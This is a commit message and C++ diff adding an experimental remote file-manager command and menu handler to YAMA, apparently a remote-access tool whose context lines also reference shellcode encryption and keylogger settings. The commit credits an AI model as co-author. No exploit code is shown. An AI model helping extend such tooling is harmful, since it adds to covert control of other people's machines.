Feature: Migrate SimplePlugins file management (文件管理迁移)

Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.

Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.

Co-Authored-By: deepseek-v4-pro

server/2015Remote/2015RemoteDlg.cpp

@@ -996,6 +996,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
     ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
     ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
+    ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
     ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
     ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
     ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -4511,6 +4512,11 @@ void CMy2015RemoteDlg::OnMachineManager()
     BYTE bToken = COMMAND_MACHINE_MANAGE;   //向被控端发送打开主机管理对话框命令
     SendSelectedCommand(&bToken, sizeof(BYTE));
 }
+void CMy2015RemoteDlg::OnExperimentFileManager()
+{
+    BYTE bToken = COMMAND_FILE_MANAGER_PLUGIN;   //向被控端发送打开插件文件管理对话框命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
 
 
 // 从资源中读取被控端文件，并根据用户选择修改连接信息后返回给发送线程